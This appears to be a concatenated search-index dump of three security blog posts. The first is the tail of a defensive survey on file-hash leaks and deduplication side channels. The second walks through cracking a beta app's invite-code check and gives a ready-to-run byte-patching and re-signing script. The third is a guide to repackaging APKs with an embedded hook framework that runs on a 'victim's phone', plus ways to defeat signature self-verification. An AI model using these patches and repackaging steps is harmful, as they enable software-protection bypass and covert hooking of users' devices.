Ownership, requiring the client to prove it actually holds the file content itself, rather than merely knowing a short value. Halevi et al.\nIn engineering terms, this means:\ndo not allow \u0026ldquo;knowing the hash means instant upload succeeds\u0026rdquo;; do not allow \u0026ldquo;knowing the object ID means joining the reference\u0026rdquo;; still require proof of content possession after a deduplication hit; before establishing a mapping, at least spot-check several unpredictable data blocks. This principle adds some latency, but it directly blocks the path of \u0026ldquo;claiming a large file with only side information.\u0026rdquo;\n2. Reduce the observability of deduplication state Many attacks succeed not because the system allows direct downloads, but because the system exposes the \u0026ldquo;hit / no-hit\u0026rdquo; state too plainly.\nTherefore, the second principle is: even if deduplication happens internally, do not casually feed the deduplication status back to the outside.\nFeasible measures include:\ncompleting deduplication server-side, rather than having the client ask first and then decide whether to upload; unifying the external upload flow, so that whether a hit occurred cannot be read directly from network traffic, timing, or response semantics; disabling cross-user deduplication for small files, template files, and highly sensitive files; introducing randomization, delay, or additional verification for high-risk hit results, to reduce the exploitability of the existence oracle. The random-threshold idea proposed by Harnik et al. is essentially about weakening the strong correspondence between \u0026ldquo;hit state\u0026rdquo; and \u0026ldquo;file already exists.\u0026rdquo; Paper PDF\n3. Do tiered deduplication, not global deduplication From a security perspective, the most dangerous thing is usually not \u0026ldquo;deduplication\u0026rdquo; itself, but global deduplication across tenants, across users, across security domains.\nTherefore, a very practical compromise is layered handling:\nallow deduplication within a single user\u0026rsquo;s domain; make deduplication optional within one enterprise tenant; no deduplication across tenants by default; adopt different strategies for publicly known large files versus private files. The cost of doing this is sacrificing some global storage savings, but it greatly reduces the risks of confirmation attacks, lateral inference, and sensitive content-identity leakage.\nThe reason many so-called \u0026ldquo;zero-knowledge cloud drives\u0026rdquo; skip cross-account dedup is, at its core, trading storage efficiency for a privacy boundary.\n4. Disable \u0026ldquo;stable identity\u0026rdquo; for high-risk file types Not all files deserve to be handled with the same dedup policy.\nFor the following types, it is more appropriate to disable cross-user stable identity outright:\ntemplated private documents such as contracts, pay slips, invoices, and medical records; high-value forensic materials; sensitive configurations, key bundles, certificate archives; standard-format files known to be within an attacker\u0026rsquo;s candidate space. Because these files are the most susceptible to LRI, confirmation attacks, or known-file correlation attacks. Pursuing extreme dedup on them is usually not worth the security cost.\n5. Make \u0026ldquo;content identity\u0026rdquo; valid only within controlled domains If the system must rely on content identity for indexing, then the sounder approach is not to make it fully public, but to make it valid only within a controlled domain.\nThis means:\nexternal interfaces do not directly expose the raw content hash; internal indexes may use salted tags, tenant-domain-bound tags, or identifiers after controlled transformation; external download, sharing, and saving-to-drive are not allowed to use the raw hash directly as a capability key; the content-addressing layer and the access-control layer are separated, so that \u0026ldquo;knowing the ID\u0026rdquo; does not naturally imply \u0026ldquo;authorized to access.\u0026rdquo; This line of thinking is consistent with the basic direction behind MLE / DupLESS: acknowledging the economic value of dedup while avoiding exposing a publicly computable content identity directly as an attack entry point. MLE, DupLESS\n6. Move the risk-control focus from \u0026ldquo;file content\u0026rdquo; forward to \u0026ldquo;identity signals\u0026rdquo; Many platforms concentrate their governance actions on after-the-fact file deletion, link takedown, and account bans. But from the defense perspective, the earlier layer is actually:\nwhich stable identity signals, once leaked, can be reused to spread content.\nTherefore, security design should bring the following objects into risk-control scope:\nfile-level and block-level hashes; index files; instant-upload codes, offline-download codes, content addresses; share links and public metadata that third parties can scrape; publicly queryable object IDs. Only by treating these \u0026ldquo;identity signals\u0026rdquo; as assets to be managed will a platform avoid hardening review at the front door while exposing content identity as a low-cost capability through the back door.\n7. The most realistic engineering conclusion: accept the trade-off, and do not chase the fantasy of \u0026ldquo;zero-cost secure deduplication\u0026rdquo; This class of problems ultimately always returns to the same reality: there is no zero-cost three-way balance among deduplication efficiency, user experience, and privacy boundaries.\nIf the goals are:\nmaximize cross-user deduplication; maximize the instant-upload success rate; minimize upload cost; while fully hiding file existence, ownership, and content identity; then it usually cannot be done.\nA genuinely mature solution does not try to deny the trade-off; it clearly partitions:\nwhich data merits global deduplication; which data may only be deduplicated within a domain; which data should rather be stored several extra times than expose a stable identity; which scenarios must use PoW, randomization, or a unified upload flow to cancel out the side channel. From the defense perspective, this is far more honest — and far more effective — than simply claiming \u0026ldquo;hashes are irreversible, so there is no risk.\u0026rdquo;\nVIII. A Judgment on \u0026ldquo;Instant Upload Was Abused by Black-Market Actors, So the Feature Was Suspended\u0026rdquo; A common claim is that many Chinese platforms once offered \u0026ldquo;instant upload,\u0026rdquo; and later suspended it because black-market actors routinely abused it to distribute malicious or infringing files.\nCombining the material from this round of research, I believe a fairly safe conclusion can be drawn:\n\u0026ldquo;Cloud drive capabilities such as sharing, saving-to-drive, offline download, and instant upload have long been used for infringing distribution\u0026rdquo; — this point is supported by ample public evidence. \u0026ldquo;Chinese platforms have been under sustained copyright and content-governance pressure for over a decade\u0026rdquo; — this point is likewise supported by regulatory documents, media reports, and case law. \u0026ldquo;Some platforms did indeed shrink, shut down, or tighten these capabilities\u0026rdquo; — this point also has historical milestones, such as 115 and 360. But to state it very strictly: \u0026ldquo;Baidu Netdisk and Quark Cloud Drive explicitly took instant-upload-by-hash offline because it was abused by black-market actors\u0026rdquo; — I have not found sufficiently strong official public statements supporting that precise a causal chain. So when writing a report, it is best to phrase it as:\nThe hash-driven fast-transfer and sharing capabilities of Chinese cloud drives have long been embedded in a governance context of infringing distribution and gray/black-market abuse; the tightening of these capabilities by platforms is at least highly correlated with copyright, illegal-content distribution, and risk-control pressure.\nThat is the safer formulation.\nIX. Impact Scope for Object Storage: Do Mainstream S3/OSS and the Open-Source Community Have Similar Oracles? Extending the discussion further to object storage, the conclusions come out finer-grained than in the cloud drive context.\n1. Mainstream object storage is by default not a \u0026ldquo;content-fingerprint-driven\u0026rdquo; product Whether Amazon S3 or Alibaba Cloud OSS, the public documentation grounds object identity in bucket + object key, not in a content hash. The OSS documentation explicitly states that each object is uniquely identified within a bucket by its object key. OSS overview\nS3\u0026rsquo;s official blog states the same fact from the other direction: in S3, duplicate objects are allowed to exist, and the official approach to \u0026ldquo;identifying duplicate objects\u0026rdquo; is after-the-fact analysis and cleanup using Inventory + Athena + ETag, not S3 automatically collapsing identical content into a shared object at the object-API layer. AWS Storage Blog\nThis means that in terms of default semantics, S3/OSS do not expose \u0026ldquo;content-hash hit\u0026rdquo; as a user-perceivable primary path the way cloud drive \u0026ldquo;instant upload\u0026rdquo; does. At least at the public API layer, they default to:\nkey-name addressing, not content addressing; object existence centered on the key, not on a content hash; integrity check values used for verification and concurrency control, not by default for cross-user content reuse. This directly changes the risk intensity.\n2. But they do have weaker oracles: key existence and ETag conditional requests Although there is no strong \u0026ldquo;hash instant-upload\u0026rdquo; oracle by default, mainstream object storage widely supports conditional requests.\nAmazon S3\u0026rsquo;s official documentation explicitly states:\nIf-None-Match can check at write time whether a given key already exists; If-Match can check an object\u0026rsquo;s current state at write time using the ETag; using these conditional writes requires the corresponding permissions, and these capabilities themselves \u0026ldquo;enable the caller to check\u0026rdquo; object existence or ETag state. S3 conditional writes Alibaba Cloud OSS likewise offers conditional downloads based on ETag and modification time; when a request\u0026rsquo;s conditions are not satisfied, it returns 304 Not Modified or 412 Precondition Failed instead of the object body. OSS conditional download\nFrom a red team perspective, this means object storage, while not exposing a \u0026ldquo;content deduplication oracle\u0026rdquo; by default, still has two weaker classes of oracle:\nkey existence oracle: knowing the bucket and key, and holding the corresponding write permission, one can use If-None-Match to determine whether a key exists; ETag state oracle: knowing an object\u0026rsquo;s ETag and holding the corresponding read/write permissions, one can use conditional requests to determine the object\u0026rsquo;s version state. However, the risk intensity of these oracles differs from cloud drive instant upload, in that:\nthey usually require an explicit object path, not merely a content fingerprint; they usually require pre-existing authorization, rather than turning content identity directly into a cross-user sharing entry; what they mainly expose is key-level or object-state-level information, not global content existence. Therefore, if one insists on an analogy, these are more like \u0026ldquo;object state oracles\u0026rdquo; than \u0026ldquo;content identity oracles.\u0026rdquo;\n3. ETag is not a stable content identity, which actually weakens the \u0026ldquo;hash as capability\u0026rdquo; risk S3\u0026rsquo;s official documentation also stresses one point: the relationship between object checksums and the ETag is not always stable.\nS3 now supports multiple checksum algorithms; in multipart upload scenarios, an object\u0026rsquo;s ETag is not the MD5 of the entire object\u0026rsquo;s content; in many scenarios the ETag should be understood as an implementation-dependent object identifier, not a stable, portable content hash. S3 object integrity The AWS official blog, when discussing duplicate-object identification, also explicitly notes that ETag-based dedup only applies to a subset of objects and does not hold for multipart, SSE-KMS, SSE-C, and similar scenarios. AWS Storage Blog\nThis point is key. It means mainstream object storage, although it exposes the ETag, has not designed the ETag as a strong, stable, globally unified content identity. This actually weakens, to a certain extent, the risk of \u0026ldquo;know one digest, reuse the content globally.\u0026rdquo;\n4. The genuinely dangerous patterns in object storage usually appear in \u0026ldquo;peripheral systems,\u0026rdquo; not the core object API Looking only at the S3/OSS core object API, the risks lean toward:\nkey exposure; presigned URL exposure; bucket policy misconfiguration; conditional requests used as existence probes; ETags or metadata mistaken by upper-layer applications for stable identity. The dangerous patterns closer to the cloud drive \u0026ldquo;instant-upload oracle\u0026rdquo; usually appear in peripheral systems, for example:\na gateway layer implementing cross-user deduplication itself; backup/archival systems doing single-instance reuse on top of object storage; upper-layer business using content hashes as object names; sample platforms using the object hash as both index key and download key; application layers building \u0026ldquo;instant-upload codes,\u0026rdquo; \u0026ldquo;offline save-to-drive codes,\u0026rdquo; or \u0026ldquo;resource fingerprint codes\u0026rdquo; around object storage. In other words, S3/OSS themselves are usually not the strongest source of oracles, but they often serve as the hosting substrate for such oracles.\n5. The situation in the open-source community: the risk exists, but is unevenly distributed Extending the scope to common open-source object stores reveals three different tiers of situation.\n5.1 MinIO: by default an S3-compatible object store, not a content-deduplication system For MinIO today, the most urgent thing to confirm is not \u0026ldquo;does it have a dedup oracle,\u0026rdquo; but its maintenance status.\nAs of February 13, 2026, MinIO\u0026rsquo;s official GitHub repository has been archived read-only; the README states outright: \u0026ldquo;THIS REPOSITORY IS NO LONGER MAINTAINED.\u0026rdquo; It further states that the community edition has switched to source-only distribution, with no more prebuilt binary updates. GitHub repository README, post-archive issue page\nThis leads to a very concrete impact-scope judgment:\nthe MinIO community edition remains usable, but its maintenance risk has risen significantly; the risk is not that it inherently contains a strong \u0026ldquo;hash instant-upload\u0026rdquo; oracle; the risk is that it retains S3-compatible semantics while the community-edition project itself has entered an unmaintained state. In terms of API semantics, the MinIO/AIStor documentation explicitly supports conditional operations such as If-Match and If-None-Match, consistent with the S3 model. MinIO S3 API Compatibility\nTherefore, the more accurate statement about MinIO is:\nWhat it inherits by default is the S3-style object-state oracle, not a cloud-drive-style content-deduplication oracle; but since the community edition has stopped being maintained, any upper-layer system built on these semantics needs to re-evaluate its patching and exposure-surface risk.\n5.2 Ceph RGW: standard conditional requests exist by default; the genuinely dangerous dedup is an explicit feature Ceph RGW\u0026rsquo;s S3/Swift documentation both support ETag-based conditional GET/HEAD/COPY, as part of standard object storage semantics. Ceph S3 object ops, Ceph Swift object ops\nBut more noteworthy is that Ceph\u0026rsquo;s official documentation does include Full RGW Object Deduplication. That documentation is very direct:\nthis is a dedup feature; executed with radosgw-admin dedup exec; the documentation explicitly warns: \u0026ldquo;This command can lead to data loss and should not be used on production data!!\u0026rdquo; Ceph dedup docs This shows that in the open-source community, similar risks do exist — they just are usually not default product semantics, but rather:\nan explicit background administration feature; requiring an administrator to actively enable it; with the risk directly flagged in the official documentation. Therefore, Ceph\u0026rsquo;s impact scope can be summarized as:\ndefault object API: mainly key/ETag-level oracles; optional dedup feature: carries stronger content-reuse risk, but is not the default surface, and the official documentation has explicitly warned it is unsuitable for production. 5.3 OpenStack Swift: has conditional requests, but proactively mitigates leakage in its encryption design Swift likewise supports If[-None]-Match-style conditional semantics, but its object encryption documentation specifically discusses a key issue:\nonce objects are encrypted, using the plaintext ETag directly for conditional comparison leaks unnecessary information. To address this, Swift\u0026rsquo;s encryption middleware does not expose the plaintext ETag directly; instead it stores and compares HMAC(object_key, ETag), allowing the backend to complete the conditional check while avoiding directly revealing the ETag or object-body-related information. Swift object encryption\nThis is an example very much worth including in the main text, because it shows:\nThe open-source community does not merely \u0026ldquo;also have the risk\u0026rdquo; — it has already produced a relatively mature class of mitigation designs: keep the conditional-request capability, but do not expose the stable content identity as-is.\n6. Final judgment on the impact scope Synthesizing the mainstream cloud object stores and open-source community material, the impact scope can be divided into three tiers.\nTier 1: default object storage semantics Typical representatives: Amazon S3, Alibaba Cloud OSS, MinIO, Ceph RGW, OpenStack Swift.\nThese systems by default are mostly:\nkey-addressed; ETag/conditional-request capable; not doing cross-user reuse by content hash by default; and therefore exposing by default an object-state oracle, not the strongest content-deduplication oracle. Tier 2: optional deduplication or background optimization features Typical representatives: Ceph RGW dedup, backup and archival systems, single-instance layers built on top of object storage.\nThese systems begin to approach the core risk discussed in this article, because they convert \u0026ldquo;identical content\u0026rdquo; into internal reuse, and if the hit state is externally observable, the risk intensifies quickly.\nTier 3: upper-layer businesses productizing content identity directly Typical representatives: cloud drive instant upload, sample platforms downloading by hash, content-addressed networks, application-layer custom \u0026ldquo;resource fingerprint codes.\u0026rdquo;\nThis tier is the closest to the strong-oracle pattern of \u0026ldquo;know one short fingerprint, retrieve or confirm a large object,\u0026rdquo; and is the high-risk zone this article focuses on most.\nTherefore, if one clear impact-scope judgment is needed, it can be written as:\nMainstream object stores do not, by default, broadly expose the strong content oracle of the cloud-drive instant-upload kind, but key/ETag-level conditional-request semantics are pervasive; the genuinely high-risk patterns appear more in the dedup, gateway, backup, sample-retrieval, and application-layer content-identity systems built on top of object storage.\nX. Final Conclusions My overall judgment after this round of research can be compressed into three sentences.\nFirst, whether a file hash leak is harmful cannot be judged by \u0026ldquo;is the hash reversible\u0026rdquo; alone; it depends on whether the system treats it as content identity or an access entry point.\nSecond, from the perspective of real attack surfaces, the most dangerous role of a hash is not \u0026ldquo;recovering the original,\u0026rdquo; but \u0026ldquo;confirming existence, narrowing the candidate space, hitting the index, triggering mappings, and correlating intelligence.\u0026rdquo;\nThird, therefore \u0026ldquo;a file hash\u0026rsquo;s confidentiality equals that of the file itself\u0026rdquo; is not a universal truth — but in scenarios such as deduplication, instant upload, content addressing, sample lookup, and templated private files, this judgment comes very close to reality.\nIf this survey had to be condensed into one sentence, I would write:\nA hash is not the file itself — but when a system treats the hash as a verifiable stand-in for the file, leaking the hash can amount to leaking the key that leads to the file.\nReferences Chinese-Language Sources Cyberspace Administration of China repost, \u0026ldquo;IPR Regulation Seals Off the \u0026lsquo;Vacuum Zone\u0026rsquo;: Cloud Drives Can No Longer Freely Share American TV Shows\u0026rdquo;\nhttps://www.cac.gov.cn/2015-10/26/c_1116934785.htm Supreme People\u0026rsquo;s Court Intellectual Property Court: \u0026ldquo;Determining Conduct and Clarifying Rule Application — Excerpted Remarks from the Workshop on Infringement Risk Prevention and Legal Liability of Online Platforms Under New Quality Productive Forces\u0026rdquo;\nhttps://ipc.court.gov.cn/zh-cn/news/view-3592.html Center for Coordination and Innovation of Judicial Civilization: \u0026ldquo;The Technical Logic and Legal Characterization of Instant-Upload-Style Offline Downloading\u0026rdquo;\nhttps://www.cicjc.com.cn/info/1041/16442.htm Dezhou Intermediate People\u0026rsquo;s Court repost: \u0026ldquo;Users Rampantly Share Hit Drama Series via Cloud Drive; Youku Sues Baidu and Wins 1 Million in First Instance\u0026rdquo;\nhttps://www.sdcourt.gov.cn/dzzy/392143/392145/5818823/index.html CCTV repost: 115 Cloud Drive shuts down public sharing\nhttps://news.cntv.cn/20120807/118674.shtml Xinhuanet: reports on 360 Cloud Drive ending its personal cloud drive service\nhttps://www.xinhuanet.com/zgjx/2016-10/21/c_135770840.htm Baidu Netdisk Enterprise Edition article, \u0026ldquo;Instant-Upload Technology: Dissecting the Speed Gene of Private-Deployment Cloud Drives\u0026rdquo;\nhttps://eyun.baidu.com/content/522730/ People\u0026rsquo;s Daily: reports on drive-search engines scraping public Baidu Netdisk share links\nhttps://it.people.com.cn/GB/n1/2017/0722/c1009-29422086.html Alibaba Cloud OSS conditional download\nhttps://www.alibabacloud.com/help/en/oss/user-guide/conditional-download Alibaba Cloud OSS overview\nhttps://www.alibabacloud.com/help/en/oss/user-guide/oss-overview English-Language Sources Harnik, Pinkas, Shulman-Peleg, Side Channels in Cloud Services: Deduplication in Cloud Storage\nhttps://www.pinkas.net/PAPERS/hps.pdf Halevi et al., Proofs of Ownership in Remote Storage Systems\nhttps://eprint.iacr.org/2011/207 Bellare, Keelveedhi, Ristenpart, Message-Locked Encryption and Secure Deduplication\nhttps://eprint.iacr.org/2012/631 Bellare, Keelveedhi, Ristenpart, DupLESS\nhttps://eprint.iacr.org/2013/429.pdf Tahoe-LAFS Documentation\nhttps://tahoe-lafs.readthedocs.io/_/downloads/en/tahoe-lafs-1.14.0/pdf/ Bacs et al., DUPEFS: Leaking Data Over the Network With Filesystem Deduplication Side Channels\nhttps://www.usenix.org/conference/fast22/presentation/bacs Tolia et al., Opportunistic Use of Content Addressable Storage for Distributed File Systems\nhttps://www.usenix.org/event/usenix03/tech/full_papers/tolia/tolia_html/usenix03.html IPFS Docs, Privacy and encryption\nhttps://docs.ipfs.tech/concepts/privacy-and-encryption/ VirusTotal Docs, Files\nhttps://docs.virustotal.com/reference/files VirusTotal Docs, Download a file\nhttps://docs.virustotal.com/reference/files-download MalwareBazaar Community API\nhttps://bazaar.abuse.ch/hunting/yara/remsec_encrypted_api/ NIST NSRL FAQ\nhttps://www.nist.gov/itl/ssd/software-quality-group/national-software-reference-library-nsrl/about-nsrl/nsrl-frequently-0 Fedora Project, download verification\nhttps://fedoraproject.org/en/security/ Debian, verifying authenticity of images\nhttps://www.debian.org/CD/verify.en.html Ubuntu, how to verify your download\nhttps://ubuntu.com/tutorials/how-to-verify-ubuntu Amazon S3 conditional writes\nhttps://docs.aws.amazon.com/AmazonS3/latest/userguide/conditional-writes.html Amazon S3 object integrity\nhttps://docs.aws.amazon.com/AmazonS3/latest/userguide/checking-object-integrity.html AWS Storage Blog, managing duplicate objects in Amazon S3\nhttps://aws.amazon.com/blogs/storage/managing-duplicate-objects-in-amazon-s3/ MinIO GitHub repository\nhttps://github.com/minio/minio Ceph RGW S3 object operations\nhttps://docs.ceph.com/en/latest/radosgw/s3/objectops/ Ceph RGW full object deduplication\nhttps://docs.ceph.com/en/latest/radosgw/s3_objects_dedup/ OpenStack Swift object encryption\nhttps://docs.openstack.org/swift/2.11.0/overview_encryption.html MinIO S3 API Compatibility\nhttps://docs.min.io/enterprise/aistor-object-store/developers/s3-api-compatibility/ ","permalink":"https://www.unc.la/en/posts/penetration/survey-on-filehash-leaks/","summary":"\u003cp\u003e::::danger\nA Survey of the Security Risks of File Hash Leaks\u003c/p\u003e\n\u003cp\u003eI did a dedicated round of research on this question, in both Chinese and English sources. Conclusion first: \u003cstrong\u003ethe answer to \u0026ldquo;is a file hash leak harmful\u0026rdquo; is not a simple yes or no — it is highly context-dependent.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e::::\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2026/png/166008/1776817128586-d8e95fdd-f21a-45c8-9a4a-232395d4dd2e.png\"\u003e\u003c/p\u003e\n\u003cp\u003eIf the hash is merely an offline integrity-check value — for example the \u003ccode\u003eSHA256SUMS\u003c/code\u003e file publicly published on a Linux distribution\u0026rsquo;s official site — it is usually not a secret. On the contrary, it should be published and signed so users can verify download integrity and authenticity of origin. This is exactly how \u003ca href=\"https://fedoraproject.org/en/security/\"\u003eFedora\u0026rsquo;s official verification instructions\u003c/a\u003e, \u003ca href=\"https://www.debian.org/CD/verify.en.html\"\u003eDebian\u0026rsquo;s official image verification instructions\u003c/a\u003e, and \u003ca href=\"https://ubuntu.com/tutorials/how-to-verify-ubuntu\"\u003eUbuntu\u0026rsquo;s official tutorial\u003c/a\u003e are designed.\u003c/p\u003e","title":"A Survey of the Security Risks of File Hash Leaks"},{"content":"Got my hands on a beta app - Wukong. Opened it up — an invite code input box popped up.\nInvite code?\nI didn\u0026rsquo;t manage to get an invite code today\u0026hellip;\nMost people give up at this point.\nMy first reaction was: how is this thing implemented?\nI didn\u0026rsquo;t expect this little investigation to burn through my entire Coding Plan Pro quota.\n1. Initial Exploration With a target to crack, the first step is figuring out its architecture.\nfile Wukong.app # Mach-O ARM64 executable, 117MB One run of strings filled the screen with Rust symbols — DingTalkReal::dingtalk_core::login, LoginModule, LoginPhase\u0026hellip;\nThis is no ordinary app; it\u0026rsquo;s a Tauri 2.x app: Rust backend + web frontend (WKWebView).\nThe invite code validation could live in one of two places:\nFrontend — a pure JS check Backend — a Rust state machine Tried tampering with localStorage — no use. The frontend assets aren\u0026rsquo;t even in Resources; they\u0026rsquo;re loaded dynamically over IPC.\nThe answer is in the backend.\n2. Locating the Target Listed the symbol table with nm and locked onto one function:\non_invite_code_validated This is the \u0026ldquo;invite code validation\u0026rdquo; Tauri command. Its address is 0x1020376b4.\nFinding the function alone isn\u0026rsquo;t enough — you also have to understand its logic.\nI wasn\u0026rsquo;t familiar with ARM64 assembly before either — but that\u0026rsquo;s fine, you only need to find the few key lines:\n1020376d0: ldr x8, [x0, #0x180] ; load the internal object pointer 1020376d4: mov w9, #0x1 ; w9 = 1 (true) 1020376d8: stlurb w9, [x8, #0x10] ; atomic store to the flag This is the code that sets the \u0026ldquo;invite code validated\u0026rdquo; flag.\n3. The Patching Approach With the flag-setting code found, the approach becomes clear:\nSimplify this function so it sets the flag and returns directly, skipping all validation logic.\nPatch bytes:\n08 c0 40 f9 29 00 80 52 09 01 01 19 c0 03 5f d6 Corresponding assembly:\nldr x8, [x0, #0x180] mov w9, #1 stlurb w9, [x8, #0x10] ret But this is just one function. It later turned out several other functions also needed patching for a complete bypass — this is a multi-layer validation system:\nFunction Role on_invite_code_validated Tauri command entry point LoginManager::on_invite_code_validated Actually sets the flag is_agentbay_environment AgentBay environment detection get_launch_mode Launch mode 4. In Practice: Command Line All the Way No Hopper, no GUI. Command line all the way.\n#!/bin/bash BINARY=\u0026#34;/Applications/Wukong.app/Contents/MacOS/DingTalkReal\u0026#34; # Backup cp \u0026#34;$BINARY\u0026#34; \u0026#34;DingTalkReal.backup\u0026#34; # Patch 1: the Tauri command returns success directly printf \u0026#39;\\x00\\x00\\x80\\x52\\xc0\\x03\\x5f\\xd6\u0026#39; | \\ dd of=\u0026#34;$BINARY\u0026#34; bs=1 seek=$((0x12eaa04)) conv=notrunc # Patch 2: simplify the validation logic printf \u0026#39;\\x08\\xc0\\x40\\xf9\\x29\\x00\\x80\\x52\\x09\\x01\\x01\\x19\\xc0\\x03\\x5f\\xd6\\x1f\\x20\\x03\\xd5\\x1f\\x20\\x03\\xd5\\x1f\\x20\\x03\\xd5\\x1f\\x20\\x03\\xd5\u0026#39; | \\ dd of=\u0026#34;$BINARY\u0026#34; bs=1 seek=$((0x20376b4)) conv=notrunc # Sign — mandatory on macOS codesign --sign - --force \u0026#34;$BINARY\u0026#34; The core idea in one sentence: use printf to write bytes, dd to seek to the offset, and codesign to re-sign.\n5. Pitfall Log Pitfall 1: Offset Calculation Given the virtual address 0x1020376b4, how do you convert it to a file offset?\nThe __TEXT segment of the Mach-O starts at 0x100000000, which maps to file offset 0. So:\nfile offset = virtual address - 0x100000000 But this only applies to the __TEXT segment. Different segments have different base addresses; check the segment table with otool -l.\nPitfall 2: All Addresses Change After an Upgrade After the app updates, all function addresses change:\nFunction Old Offset New Offset on_invite_code_validated 0x12eaa04 0x2b16c LoginManager 0x20376b4 0xfca10 Solution: relocate the functions with nm and recalculate the offsets.\nPitfall 3: macOS Code Signing After patching, the app wouldn\u0026rsquo;t open — the code signature was broken.\ncodesign --remove-signature \u0026#34;$BINARY\u0026#34; codesign --sign - --force \u0026#34;$BINARY\u0026#34; 6. Results and Reflections The invite code validation was ultimately bypassed successfully.\nBut the interesting part is: bypassing the frontend is only the first step. The app does reach the main interface, yet the backend services (fetching the model list) remain unavailable — which means the real validation logic lives on the server side, and the invite code is used for account binding.\nThis experience taught me a few things:\nFirst, the security boundary of Tauri apps — the core logic is in the backend; don\u0026rsquo;t blindly assume \u0026ldquo;bypassing the frontend equals cracking the app\u0026rdquo;.\nSecond, ARM64 reverse engineering isn\u0026rsquo;t as hard as it seems — read the manual more, get your hands dirty more.\nThird, the power of command-line tools — nm + xxd + strings combined aren\u0026rsquo;t much worse than IDA.\nTechnical Appendix Key tools: nm, xxd, strings, otool, codesign\nCommon ARM64 instructions:\nInstruction Machine Code mov w0, #0 00 00 80 52 mov w0, #1 20 00 80 52 ret c0 03 5f d6 Core finding: the invite code validation is implemented in a Rust state machine; the frontend is merely a presentation layer.\nFinal result: I can get in, but can\u0026rsquo;t do anything~~\n","permalink":"https://www.unc.la/en/posts/penetration/re-on-wukong/","summary":"\u003cp\u003eGot my hands on a beta app - Wukong. Opened it up — an invite code input box popped up.\u003c/p\u003e\n\u003cp\u003eInvite code?\u003c/p\u003e\n\u003cp\u003e\u003cfont style=\"color:#74B602;\"\u003eI didn\u0026rsquo;t manage to get an invite code today\u0026hellip;\u003c/font\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2026/png/166008/1773846111194-bc1d7f39-3c08-42c1-8842-c66f7f098e2d.png\"\u003e\u003c/p\u003e\n\u003cp\u003eMost people give up at this point.\u003c/p\u003e\n\u003cp\u003eMy first reaction was: \u003cstrong\u003ehow is this thing implemented?\u003c/strong\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eI didn\u0026rsquo;t expect this little investigation to burn through my entire Coding Plan Pro quota.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-initial-exploration\"\u003e1. Initial Exploration\u003c/h2\u003e\n\u003cp\u003eWith a target to crack, the first step is figuring out its architecture.\u003c/p\u003e","title":"From \"Invalid Invite Code\" to Binary Patching: A Tauri Reverse-Engineering Practice"},{"content":"::::success How do you bundle your Hook module together with the App?\nThe idea is: use LSPatch to embed the LSPosed framework into the APK, so there is no need to modify the App\u0026rsquo;s business code — instead,\n::::\nEmbedded Hooks (LSPatch / XPatch) —— the most elegant route https://windysha.github.io/2019/04/18/Xpatch-%E5%85%8DRoot%E5%AE%9E%E7%8E%B0App%E5%8A%A0%E8%BD%BDXposed%E6%8F%92%E4%BB%B6%E7%9A%84%E4%B8%80%E7%A7%8D%E6%96%B9%E6%A1%88/ https://github.com/WindySha/Xpatch?tab=readme-ov-file This route best fits your current situation. If you like writing Hooks (Java/Kotlin) but dislike editing Smali (assembly), then this route is a great fit. The idea\nTools LSPatch (LSPosed\u0026rsquo;s root-free patch mode) Workflow Write the module Write your Hook code, e.g. HookEntry.kt. Compile it into an Xposed module APK. Embed the module Use the LSPatch tool (desktop or mobile version). Feed in the original \u0026ldquo;Movie Hunter\u0026rdquo; APK and your \u0026ldquo;ad-removal module\u0026rdquo; APK. Run the command: How it works LSPatch inserts a line into the target APK\u0026rsquo;s AndroidManifest.xml: \u0026lt;application android:name=\u0026quot;org.lsposed.lspatch.StubApplication\u0026quot; ...\u0026gt;. When the App starts, LSPatch\u0026rsquo;s micro framework launches first, the framework loads your module, and then your module Hooks the App. Advantages No need to look at Smali: you only need to maintain your Kotlin code. Runs without Root: the victim\u0026rsquo;s phone doesn\u0026rsquo;t need Root, nor does it need LSPosed installed — installing this APK brings the Hook capability built in. Big Pitfall: Fighting Signature Verification After you re-sign it, the APK\u0026rsquo;s fingerprint (SHA-1) changes. Many Apps have a self-verification mechanism:\n// Code inside the App if (getSignature() != \u0026#34;Hash of the original official signature\u0026#34;) { System.exit(0); // crash on launch } Red Team Countermeasures (PMS Killer) Core idea: fool the App into believing it still has its original signature. Techniques: Hook PackageManager: in your Hook module, Hook the getPackageInfo method. When the App queries its own signature, return the signature information extracted from the official genuine APK. Hard-patch the Smali: search the Smali for Landroid/content/pm/PackageInfo;-\u0026gt;signatures:[Landroid/content/pm/Signature;, locate the comparison logic, invert the branch instruction (if-eq), or simply make the verification function return true. One-click removal with MT Manager: many tools ship with a \u0026ldquo;remove signature verification\u0026rdquo; feature, which is essentially an automated version of the Smali modification above. Summary For your current need (modifying C0963k and making it permanent):\nFastest path: on the phone, use MT Manager -\u0026gt; view the Dex -\u0026gt; modify the Smali -\u0026gt; save -\u0026gt; auto-sign -\u0026gt; install -\u0026gt; and remember to delete that leftover corpse file. Most reliable path (red team release): on a PC, decompile with Apktool -\u0026gt; modify the Smali -\u0026gt; inject a \u0026ldquo;kill signature verification\u0026rdquo; Smali snippet -\u0026gt; rebuild -\u0026gt; sign -\u0026gt; release. Smoothest path (developer experience): use LSPatch to merge your APK with your Hook module, letting the Hook code run parasitically inside the APK.\nWith this approach, you can fulfill your need efficiently and elegantly. ","permalink":"https://www.unc.la/en/posts/penetration/wph994ticpllgk8x/","summary":"\u003cp\u003e::::success\nHow do you bundle your Hook module together with the App?\u003c/p\u003e\n\u003cp\u003eThe idea is: use LSPatch to embed the LSPosed framework into the APK, so there is no need to modify the App\u0026rsquo;s business code — instead,\u003c/p\u003e\n\u003cp\u003e::::\u003c/p\u003e\n\u003ch3 id=\"embedded-hooks-lspatch--xpatch--the-most-elegant-route\"\u003eEmbedded Hooks (LSPatch / XPatch) —— the most elegant route\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 